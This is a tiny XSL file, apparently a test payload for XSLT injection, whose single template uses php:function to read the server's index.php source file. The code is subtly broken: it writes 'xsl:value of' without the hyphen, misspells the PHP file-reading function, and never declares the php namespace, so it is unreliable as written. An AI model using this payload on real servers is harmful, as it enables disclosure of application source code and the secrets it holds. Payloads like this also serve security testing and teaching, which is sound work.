test.xsl

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:template match="/">
		<xsl:value of select="php:function('file_get_content','index.php')" />
	</xsl:template>
</xsl:stylesheet>